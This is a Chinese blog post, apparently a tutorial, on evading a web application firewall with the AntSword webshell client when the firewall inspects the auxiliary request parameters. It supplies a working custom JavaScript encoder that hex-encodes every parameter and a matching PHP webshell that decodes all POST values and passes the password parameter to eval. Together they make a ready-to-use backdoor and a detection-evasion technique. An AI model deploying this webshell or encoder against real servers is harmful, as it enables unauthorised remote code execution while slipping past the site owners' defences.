WAF拦了蚁剑发送的其它参数时怎么操作
写在前面
看到一个比较有意思的一个 issue #185 , 特来分享一下。
正文
大概的意思就是,以前提到的编码器,大都对「连接密码(第一入参)」的内容进行了加密、编码处理,而其它的参数,都是用的通用的 base64 或者 hex 进行了编码。
密码处的 payload 我们经过之前的几次处理之后( 参见: 蚁剑绕WAF进化图鉴 ),不好下手了,然后这个 WAF 开始对这些其它参数下手了。
感觉是有些棘手,那么现在的版本里,遇到这种情况我们要怎么办呢?
学习一波 data 结构
我们先来建一个自定义的编码器,里面什么都不做,就直接把 data['_'] 传给 data[pwd] 就行了,主要是输出一下 data 的结构来看一看:
在「数据管理」模块下,新建一条数据,选择我们刚刚创建的编码器。
接着我们打开「开发者工具」,并选择 Console 面板:
然后双击,打开文件管理,能看到控制台下除了输出蚁剑的 log 之外,还输出了 data 的结构:
一共两个,因为第一次请求时,先发了一个包,获取目标的基础信息,这个我们先不看,重点看第二个。
第二个是列目录的请求,data 的结构是这样子滴:
{
_: '@ini_set("display_errors", "0");...后面我就省略了',
ant: '@ini_set("display_errors", "0");...后面我就省略了',
0x83a6820f5d37e: 'L3Zhci93d3cvaHRtbC8='
}
这里要说明一下,ant 就是我们填的「连接密码」, 在编码器里面调用 data[pwd] 就能操作它的内容了
到这里就很明显了,显然平时我们都是取的 data['_'] 的内容,然后把它上下左右,BABA 一顿转换,接着把 data[pwd] 的内容替换成转换后的内容,最后删掉 data['_'], 就完成了整个编码流程。
为了看起来舒服,我这里用 multipart 发包
当然能了,不然怎么可能会有这篇文章出来?
值得注意的是,我们在 core 的代码里面,已经事先写死了这些参数的获取方法:
如果用了其它的编码方式,那这里肯定就出错了,所以我们学习一下PHP的一些框架的全局输入过滤的思路,稍稍改造一下 webshell 的代码,在代码刚开始的地方,先行处理一下接到的内容,然后再继续走下去就行了。
别哔哔,show me the code
/**
php::hex for 编码器
Create at: 2019/04/10 13:02:54
<?php
foreach($_POST as $k => $v){$_POST[$k]=pack("H*", $v);}
@eval($_POST['ant']);
?>
*/
'use strict';
module.exports = (pwd, data) => {
let ret = {};
for (let _ in data) {
if (_ === '_') { continue };
ret[_] = Buffer.from(data[_]).toString('hex');
}
ret[pwd] = Buffer.from(data['_']).toString('hex');
return ret;
}
通过遍历的方式,我们把data中所有的 key 都进行了 hex 编码
接着来看 Shell 的代码:
<?php
foreach($_POST as $k => $v){$_POST[$k]=@pack("H*", $v);}
@eval($_POST['ant']);
?>
第一行,通过遍历的方式,把 $_POST 的所有参数都进行了 hex 解码
第二行,还是熟悉的配方,还是熟悉的味道
最后效果就是这样:
写在后面
最后再抛一个问题,如果 0x83a6820f5d37e 这种随机名称的 key 有一天也加入肯德基豪华午餐了怎么处理?
相信看到这里的你已经知道怎么操作了吧。
不如关注一波再走?